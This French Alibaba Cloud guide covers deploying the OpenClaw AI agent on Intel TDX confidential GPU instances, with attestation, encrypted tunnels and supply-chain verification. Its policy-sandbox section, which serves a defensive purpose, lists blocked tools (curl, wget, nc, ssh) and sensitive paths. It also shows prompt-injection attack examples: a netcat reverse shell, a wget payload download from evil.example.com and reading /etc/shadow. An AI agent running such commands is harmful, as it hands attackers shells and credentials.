Tous les produits
Search
Centre de documentation

Elastic Compute Service:Déployer un agent IA OpenClaw confidentiel sur des instances de calcul confidentiel hétérogènes

Dernière mise à jour :Aug 24, 2026

Les agents IA gèrent les conversations utilisateur, les appels d'outils externes, la mémoire à long terme et les identifiants de service au moment de l'exécution, ce qui expose une surface d'attaque bien plus large que celle des applications traditionnelles. Les instances de calcul confidentiel hétérogènes gn8v-tee d'Alibaba Cloud s'appuient sur Intel TDX et le calcul confidentiel GPU NVIDIA pour offrir un environnement d'exécution de confiance (TEE) complet. Déployez le framework open source d'agent IA OpenClaw sur ces instances afin de bénéficier d'une protection des données au niveau matériel, d'une attestation à distance et d'une vérification de la chaîne d'approvisionnement, garantissant ainsi une sécurité de bout en bout pour l'inférence des modèles et les interactions utilisateur.

Vue d'ensemble

La solution Confidential Agent déploie OpenClaw sur des instances gn8v-tee compatibles avec Intel TDX (Trust Domain Extensions). Le modèle Mixture of Experts (MoE) Qwen3,6-35B-A3B s'exécute localement sur l'instance ; ainsi, l'exécution de l'agent et l'inférence du modèle restent entièrement confinées dans le domaine de confiance TDX, sans faire appel à des services API tiers. Les entrées utilisateur, les poids du modèle, les états intermédiaires de l'inférence et les sorties de l'IA ne quittent jamais la limite de confiance de l'instance confidentielle pendant le traitement.

Remarque

gn8v-tee est une famille d'instances de calcul confidentiel basée sur les GPU, lancée par Alibaba Cloud. Elle intègre le chiffrement matériel Intel TDX et l'accélération GPU NVIDIA pour répondre aux exigences de performance d'inférence IA ainsi qu'aux contraintes de conformité en matière de sécurité des données. Cette rubrique utilise l'instance ecs.gn8v-tee.4xlarge à titre d'exemple, exécutant Alibaba Cloud Linux 3 dans la zone cn-beijing-l. Pour des charges de travail plus importantes, vous pouvez passer à l'échelle vers des types d'instances multi-GPU.

Architecture de sécurité

Toutes les données critiques du déploiement Confidential Agent restent confinées à l'intérieur de la limite du TEE. Les trois catégories d'actifs suivantes sont strictement protégées :

Actif protégé

Description

Confidentialité des conversations utilisateur

Entrées utilisateur, contexte d'exécution des outils et réponses de l'IA, susceptibles de contenir des informations sensibles telles que des données personnelles identifiables (PII), des dossiers médicaux ou des données financières.

Mémoire et état de l'agent

Mémoire à long terme, configurations et fichiers SKILL dans OpenClaw, qui deviennent des cibles de grande valeur au fil du temps.

Identifiants de service

Identifiants OAuth pour les plateformes de messagerie instantanée comme DingTalk, clés API externes et jetons de passerelle.

L'architecture de sécurité repose sur cinq couches, de bas en haut : matériel, chaîne de démarrage, runtime, gestion des clés et communication :

Couche de protection

Mécanisme

Matériel

Le moteur de chiffrement de la mémoire (MEE) d'Intel TDX chiffre de manière transparente toute la mémoire invitée. Le fournisseur cloud ne peut pas lire le texte en clair.

Chaîne de démarrage

UKI (Unified Kernel Image) + rootfs dm-verity pour la protection contre la falsification. L'attestation à distance vérifie l'intégrité du runtime. Les valeurs de référence de la chaîne d'approvisionnement sont enregistrées dans le journal de transparence Rekor.

Runtime

Le bac à sable de politique PEP bloque les commandes à haut risque et l'accès aux chemins sensibles, empêchant l'escalade de privilèges causée par l'injection de prompt.

Gestion des clés

Les clés de chiffrement du disque sont injectées via un défi d'attestation à distance lors du démarrage et sont détenues localement par l'utilisateur. Le fournisseur cloud n'est pas impliqué.

Communication

Chiffrement de bout en bout RATS-TLS. Le canal chiffré n'est établi qu'après que l'attestation à distance a vérifié l'identité de l'instance. Toutes les communications sont chiffrées en transit.

Flux de déploiement

image
  1. Audit du code source : le responsable du déploiement audite le code source métier pour confirmer l'absence de code malveillant ou de portes dérobées.

  2. Génération des artefacts de build et publication des valeurs de référence logicielles : construisez une image OS légère contenant uniquement le service OpenClaw à partir du code source audité, puis téléchargez la signature SLSA des artefacts de build dans le journal de transparence Rekor afin de publier les valeurs de référence logicielles.

  3. Création d'une instance confidentielle : créez une instance de calcul confidentiel gn8v-tee en utilisant l'image construite.

  4. Audit par attestation à distance et téléchargement des ressources confidentielles : le responsable du déploiement utilise l'outil de déploiement pour effectuer une attestation à distance sur l'instance afin de vérifier qu'elle s'exécute sur du matériel TDX authentique. Après vérification, les ressources confidentielles telles que les clés de chiffrement du disque et les identifiants du bot DingTalk sont automatiquement téléchargées.

  5. Accès à OpenClaw : les utilisateurs peuvent accéder directement à OpenClaw via un navigateur web, un client de bureau ou un terminal TUI, ou indirectement via des plateformes de messagerie instantanée comme DingTalk.

  6. Audit par attestation à distance et transmission chiffrée : avant d'établir une connexion, le client de passerelle approuvée récupère les valeurs de référence logicielles depuis Rekor et les valeurs de référence matérielles depuis Intel PCCS et RIM/OCSP. Une fois la vérification par attestation à distance terminée, un canal chiffré RATS-TLS est établi. Toutes les communications sont chiffrées de bout en bout.

Prérequis

  • Vous avez activé Alibaba Cloud ECS et votre compte dispose des autorisations nécessaires pour créer des instances gn8v-tee.

  • Vous avez préparé une instance ECS exécutant Alibaba Cloud Linux 3 (à usage général ou autre type) servant de machine de déploiement, avec au moins 80 Go d'espace disque disponible.

    Important

    La machine de déploiement sert uniquement aux opérations de déploiement. Une instance à usage général suffit. Il n'est pas nécessaire d'utiliser une instance gn8v-tee. Dans les étapes suivantes, vous exécuterez des commandes sur la machine de déploiement pour créer l'instance gn8v-tee.

  • Vous avez obtenu une paire de clés AccessKey Alibaba Cloud. Nous vous recommandons d'utiliser un rôle RAM ou des identifiants temporaires STS.

  • Si vous souhaitez utiliser l'intégration DingTalk, vous avez créé une application d'entreprise interne DingTalk et obtenu les identifiants requis.

Procédure

Étape 1 : Construire une image de confiance contenant OpenClaw et le moteur d'inférence vLLM

Effectuez les tâches suivantes sur la machine de déploiement (une instance Alibaba Cloud Linux 3) : téléchargez le code source, installez les dépendances, générez les clés, configurez les ressources cloud et construisez l'image de confiance.

  1. Connectez-vous à une instance ECS.

    1. Accédez à Console ECS - Instances. Dans le coin supérieur gauche, sélectionnez la région et le groupe de ressources correspondant à l'instance cible.

    2. Accédez à la page de détails de l'instance cible. Cliquez sur Connect et sélectionnez Workbench. Définissez la méthode de connexion sur Terminal Connection, saisissez votre nom d'utilisateur et votre mot de passe, puis connectez-vous au terminal graphique.

  2. Téléchargez le code source du projet.

    cd ~/
    git clone https://github.com/inclavare-containers/confidential-agent
    cd confidential-agent
  3. Installez toutes les dépendances logicielles requises.

    make install-deps

    Cette commande installe Docker, Terraform, Go, Python, cosign, rekor-cli et d'autres outils nécessaires à la construction et au déploiement.

  4. Générez les clés de chiffrement et les fichiers de configuration requis pour le déploiement.

    make generate-secrets

    Une fois les clés générées, modifiez le fichier secrets/openclaw-vllm.json et remplacez les espaces réservés par des valeurs réelles, telles que les identifiants de l'application DingTalk et les configurations du modèle. Le tableau suivant décrit les espaces réservés :

    Espace réservé

    Description

    Comment l'obtenir

    <DINGTALK_BOT_CLIENT_ID>

    ClientId du bot DingTalk

    Consultez la documentation DingTalk Bot + OpenClaw. Créez une application dans le Portail développeur DingTalk pour obtenir la valeur.

    <DINGTALK_BOT_CLIENT_SECRET>

    ClientSecret du bot DingTalk

    Idem ci-dessus. Obtenez la valeur depuis la page de détails de l'application.

  5. Configurez le fichier de variables Terraform.

    Remarque

    Terraform est un outil open source d'Infrastructure as Code (IaC) qui automatise la création, la modification et la gestion des versions des ressources et services cloud sur Alibaba Cloud via des fichiers de configuration déclaratifs. Dans cette solution, Terraform automatise le déploiement des instances confidentielles.

    cp terraform/terraform.tfvars.example terraform/terraform.tfvars

    Modifiez le fichier terraform/terraform.tfvars et configurez les paramètres clés comme indiqué dans le tableau suivant.

    Paramètre

    Valeur recommandée

    Description

    zone_id

    "cn-beijing-l"

    Une zone compatible avec la famille d'instances gn8v-tee

    vpc_cidr

    "10.0.0.0/16"

    Bloc CIDR VPC

    vswitch_cidr

    "10.0.1.0/24"

    Bloc CIDR vSwitch

    security_group_allowed_cidr

    Le bloc CIDR IP de l'environnement client qui doit accéder au service OpenClaw

    Plage d'adresses IP sources autorisée par le groupe de sécurité

    Important

    La valeur par défaut de security_group_allowed_cidr est 0.0.0.0/0. Dans les environnements de production, vous devez modifier cette valeur pour spécifier un bloc CIDR IP précis et n'autoriser que les adresses IP sources requises.

  6. Exportez vos identifiants d'accès Alibaba Cloud pour permettre à Terraform de créer les ressources cloud.

    export ALICLOUD_ACCESS_KEY="<YOUR_ACCESS_KEY>"
    export ALICLOUD_SECRET_KEY="<YOUR_SECRET_KEY>"
    Remarque

    Nous vous recommandons d'utiliser un rôle RAM ou des identifiants temporaires (STS) pour éviter le stockage à long terme des paires de clés AccessKey. Pour savoir comment créer une paire de clés AccessKey, consultez la rubrique Créer une paire de clés AccessKey.

  7. Construisez une image de confiance contenant OpenClaw et le moteur d'inférence vLLM.

    make build PROFILE=openclaw-vllm
    Remarque

    La première construction implique des étapes telles que l'installation des pilotes GPU. Veuillez patienter.

    Une fois la construction terminée, les deux images suivantes sont générées :

    Type d'image

    Description

    Image de production

    Version renforcée en sécurité avec serveur SSH supprimé et ne conservant que le runtime minimal, destinée au déploiement en production

    Image de débogage

    Conserve l'accès SSH et les outils de débogage, réservée au dépannage

    Pendant le processus de construction, les valeurs de référence de l'image sont également téléchargées dans le journal de transparence Rekor. Un fichier de métadonnées .rekor-meta.json est généré pour la vérification lors du déploiement.

Étape 2 : Déployer l'image de confiance sur une instance

Déployez l'image de confiance sur une instance gn8v-tee et établissez un canal chiffré de bout en bout via TNG.

  1. Sur la machine de déploiement, exécutez la commande suivante pour créer une instance gn8v-tee à l'aide de l'image de confiance. Une fois l'instance créée, une attestation à distance est effectuée sur l'instance et les ressources confidentielles sont téléchargées.

    make deploy PROFILE=openclaw-vllm RV_MODE=rekor

    Le tableau suivant décrit les paramètres clés :

    Paramètre

    Description

    PROFILE=openclaw-vllm

    Le profil de déploiement à utiliser

    RV_MODE=rekor

    Vérifie les valeurs de référence de l'image via le journal de transparence Rekor pendant le déploiement

    Le déploiement crée les ressources suivantes dans le cloud :

    • Bucket OSS : un espace de stockage privé utilisé pour télécharger et héberger l'image VM de confiance (.qcow2).

    • Image personnalisée ECS : importée depuis le fichier image OSS vers la bibliothèque d'images personnalisées Alibaba Cloud ECS.

    • Instance de calcul confidentiel GPU ECS : une instance de calcul confidentiel ecs.gn8v-tee.4xlarge associée au groupe de sécurité et au vSwitch. Les paramètres de démarrage UKI incluent la configuration du défi d'attestation à distance.

    • Groupe de sécurité : ouvre les ports SSH (22) et TNG (18789), en n'autorisant l'accès qu'à partir du bloc CIDR spécifié.

    Remarque

    Par défaut, l'image de débogage est déployée. Pour déployer l'image de production (sans accès SSH), spécifiez manuellement le fichier image.

    Important

    Pendant le déploiement, l'image est téléchargée vers OSS et les modèles sont téléchargés depuis ModelScope, ce qui nécessite un accès Internet et engendre des frais de trafic.

  2. Démarrez le client TNG sur la machine de déploiement pour établir un canal chiffré RATS-TLS entre la machine de déploiement et l'instance gn8v-tee dans le cloud.

    make connect-tng

    Après une connexion réussie, la sortie affiche les URL HTTP et WebSocket ainsi que le jeton d'accès pour OpenClaw. Toutes les communications ultérieures sont protégées par le chiffrement RATS-TLS.

  3. Vérifiez si le service OpenClaw est prêt via le tunnel TNG.

    curl -s http://localhost:18789/health

    Une fois qu'un statut sain est retourné, vous pouvez procéder à l'accès au service.

Étape 3 : Accéder au service OpenClaw protégé par le calcul confidentiel

Une fois le service prêt, accédez à OpenClaw via l'une des quatre méthodes suivantes.

Méthode 1 : Via le chat DingTalk

Trouvez le bot configuré dans DingTalk et envoyez un message pour démarrer une conversation avec OpenClaw.

image

Méthode 2 : Via l'interface web dans le navigateur

Préparation : Établir la redirection de port depuis votre machine locale vers la machine de déploiement

La commande make connect-tng de l'étape 2 s'exécute sur la machine de déploiement et lie le tunnel TNG à localhost:18789 sur la machine de déploiement. Configurez la redirection de port SSH depuis votre machine locale vers la machine de déploiement :

ssh -L 18789:127.0.0.1:18789 root@<deployment machine IP>

Une fois la redirection de port établie, l'accès à localhost:18789 depuis un navigateur ou un client sur votre machine locale équivaut à accéder au tunnel TNG sur la machine de déploiement.

Accès via un navigateur

Une fois la redirection de port SSH configurée sur votre machine locale, accédez à http://localhost:18789/openclaw dans votre navigateur pour ouvrir le panneau de contrôle web. Saisissez le jeton OpenClaw obtenu à l'étape 2 pour accéder au service.

image

Méthode 3 : Via le client de bureau OpenClaw

Préparation : Établir la redirection de port depuis votre machine locale vers la machine de déploiement

La commande make connect-tng de l'étape 2 s'exécute sur la machine de déploiement et lie le tunnel TNG à localhost:18789 sur la machine de déploiement. Configurez la redirection de port SSH depuis votre machine locale vers la machine de déploiement :

ssh -L 18789:127.0.0.1:18789 root@<deployment machine IP>

Une fois la redirection de port établie, l'accès à localhost:18789 depuis un navigateur ou un client sur votre machine locale équivaut à accéder au tunnel TNG sur la machine de déploiement.

Accès via le client de bureau

Installez le client de bureau OpenClaw sur votre machine locale, configurez le mode distant, définissez l'adresse de connexion sur ws://localhost:18789 et saisissez le jeton OpenClaw obtenu à l'étape 2.

Méthode 4 : Via l'interface TUI OpenClaw

Installez OpenClaw en tant que client sur la machine de déploiement :

npm install -g openclaw@latest --registry=https://registry.npmmirror.com

Exécutez ensuite la commande suivante sur la machine de déploiement pour démarrer l'interface TUI OpenClaw et vous connecter à l'instance OpenClaw distante :

openclaw tui --url ws://localhost:18789 --token <gateway-token>

Remplacez <gateway-token> par le jeton de passerelle OpenClaw obtenu à l'étape 2.

Remarque

Lors de la première connexion via l'interface TUI, un message pairing required s'affiche. Accédez à http://localhost:18789/openclaw dans votre navigateur, repérez l'appareil en attente d'autorisation sur la page Nodes, puis cliquez sur Approve pour finaliser l'autorisation. Revenez ensuite à l'interface TUI.

Une fois l'autorisation terminée, l'interface TUI est prête pour la conversation :

image

Étape 4 (facultative) : Libérer les ressources

Lorsque vous n'avez plus besoin du service, exécutez la commande suivante pour libérer toutes les ressources cloud :

make destroy PROFILE=openclaw-vllm
Avertissement

Cette opération est irréversible et supprime l'instance ECS ainsi que les ressources réseau associées. Assurez-vous de ne plus avoir besoin des données présentes sur l'instance avant d'exécuter cette commande.

Vérification de la sécurité

Vérifier la fiabilité de l'environnement d'exécution

OpenClaw intègre une compétence tdx-remote-attestation qui déclenche automatiquement une attestation à distance lorsque des questions liées à la sécurité sont posées, permettant ainsi de vérifier l'état de sécurité de l'environnement d'exécution actuel.

Comment déclencher : posez des questions relatives à la sécurité dans DingTalk, l'interface Web ou l'interface TUI, par exemple « Mes données sont-elles sécurisées ? » ou « Cet environnement est-il fiable ? ».

Contenu retourné :

Élément de vérification

Description

État de confiance matérielle

Une valeur matérielle inférieure ou égale à 32 indique que la vérification a réussi

Type de TEE

Domaine de confiance Intel TDX

Protection par chiffrement de la mémoire

Confirme que le moteur de chiffrement de la mémoire est activé

Intégrité de la chaîne de démarrage UKI

Vérifie la cohérence des valeurs de mesure des composants

image (1)

Vérifier l'application de la politique PEP

PEP (Policy Enforcement Point) est un mécanisme de filtrage au moment de l'exécution pour les agents IA confidentiels. Lorsqu'un agent tel qu'OpenClaw exécute une commande via l'outil exec, la requête passe d'abord par cai-pep pour la mise en correspondance des politiques, puis s'exécute dans un bac à sable Docker isolé (mode réseau none). Des politiques configurables imposent des restrictions obligatoires sur les outils disponibles pour l'agent, prévenant ainsi les risques de sécurité liés à l'injection de prompt malveillante.

PEP offre trois niveaux de protection :

  1. Blocage au niveau des commandes : rejette les commandes à haut risque sur la base d'une liste de blocage, telles que curl, wget, nc, ssh et docker.

  2. Blocage au niveau des chemins : empêche l'accès aux chemins sensibles, tels que /etc, /proc, /root et /home/openclaw/.openclaw.

  3. Isolation réseau : le bac à sable n'a aucun accès réseau. Même si une commande contourne la liste de blocage, elle ne peut pas établir de connexions sortantes.

Le fichier de politique par défaut se trouve à l'emplacement ~/confidential-agent/image/customize/files/cai-pep-default-policy.json sur la machine de déploiement. Vous pouvez modifier la liste de blocage des commandes, la liste de blocage des chemins et les limites de ressources avant de construire l'image.

Si un agent est compromis par une injection de prompt malveillante et qu'un attaquant tente d'établir un shell inversé ou de télécharger une charge utile malveillante, PEP bloque automatiquement ces opérations à haut risque :

Méthode d'attaque

Exemple de commande

Raison du blocage

Shell inversé

nc 10.0.0.99 4444 -e /bin/bash

nc figure sur la liste de blocage des commandes

Téléchargement d'une charge utile malveillante

wget http://evil.example.com/payload.sh

wget figure sur la liste de blocage des commandes

Lecture de fichiers sensibles

cat /etc/shadow

/etc/shadow correspond au préfixe de chemin /etc

Vérifier l'intégrité de la chaîne d'approvisionnement

Le déploiement utilise par défaut le journal de transparence Rekor pour stocker les valeurs de référence des images. Lors de l'attestation à distance, les valeurs de référence sont automatiquement récupérées depuis Rekor pour vérification. Vous pouvez auditer les entrées du journal Rekor pour vérifier l'intégrité de la chaîne d'approvisionnement en utilisant les méthodes suivantes.

Afficher les enregistrements Rekor

Une fois la construction terminée, vous pouvez trouver l'index du journal et l'URL de l'entrée de l'enregistrement sur la machine de déploiement :

cat ~/confidential-agent/image/output/slsa-output-cai-openclaw-vllm-debug-*/rekor-v1-upload.txt

Exemple de sortie :

Created entry at index 1205944956, available at: https://rekor.sigstore.dev/api/v1/log/entries/<uuid>

Vérifier la preuve d'inclusion

La preuve d'inclusion confirme que l'entrée contenant les valeurs de référence de l'image existe dans la racine Merkle du journal Rekor.

rekor-cli verify --log-index 1205944956 --rekor_server https://rekor.sigstore.dev

Si la sortie contient deux valeurs de hachage identiques, la vérification est réussie :

Computed Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090
Expected Root Hash: 1291abcee27148a4c00241ba8719f798ce060e8a5ccc8b18249017c25c6d0090

Vérifier la preuve de cohérence

La preuve de cohérence confirme qu'une ancienne racine Merkle (Racine A) est un préfixe ou un état historique d'une nouvelle racine Merkle (Racine B), garantissant que les entrées de valeurs de référence stockées dans Rekor n'ont pas été falsifiées ou supprimées.

rekor-cli loginfo --rekor_server https://rekor.sigstore.dev

Si la sortie contient le contenu suivant, la vérification est réussie :

Verification Successful!

Configuration du groupe de sécurité

Lors de l'exécution de make deploy, les règles du groupe de sécurité sont automatiquement créées. Si vous devez modifier le groupe de sécurité ultérieurement, assurez-vous qu'il contient les règles suivantes :

Port

Protocole

Description

Recommandation de sécurité

22

TCP

Gestion à distance SSH (image de débogage uniquement)

Restreindre l'IP source au réseau de gestion

18789

TCP

Point de terminaison du tunnel TNG (RATS-TLS), utilisé pour accéder au service OpenClaw

Restreindre l'IP source ou accéder via TNG

Important : Dans les environnements de production, veillez à modifier security_group_allowed_cidr pour spécifier un bloc CIDR IP de gestion précis. Évitez d'utiliser 0.0.0.0/0 .

FAQ

  • Échec de make build avec une erreur de dépendance manquante

    Vérifiez que toutes les dépendances sont installées et que l'espace disque est suffisant :

    make install-deps
    df -h /

    Si cela ne résout pas le problème, exécutez make clean-image pour nettoyer les artefacts de construction et reconstruire.

  • Échec de make deploy avec l'erreur NoSetRoletoECSServiceAcount

    Cette erreur indique que le rôle d'importation d'image ECS n'est pas autorisé. Résolvez-la en effectuant l'une des opérations suivantes :

    • Connectez-vous à la console Alibaba Cloud, accédez à ECS > Images > Import Image, puis cliquez sur Authorize pour créer le rôle AliyunECSImageImportDefaultRole.

    • Dans la console RAM, attribuez la stratégie AliyunOSSFullAccess au rôle AliyunECSImageImportDefaultRole.

  • Le service ne répond pas

    1. Vérifiez que l'image de débogage est déployée (l'image de production n'inclut pas SSH).

    2. Redéployez et vérifiez que make deploy se termine sans erreur.

    3. Déployez l'image de débogage et connectez-vous via SSH pour consulter les journaux et résoudre le problème.

  • Échec de la vérification TNG locale

    Vérifiez que le conteneur Trustee local est en cours d'exécution et fonctionne correctement :

    # Verify the local Trustee container is running
    docker ps | grep cai-local-trustee
    
    # Check Trustee health status
    curl http://127.0.0.1:18081/api/health
    
    # If Trustee is not ready, re-run
    make connect-tng
  • cai-pep rejette tous les appels d'outils

    Déployez l'image de débogage et connectez-vous via SSH pour consulter les journaux cai-pep et identifier la raison précise du blocage.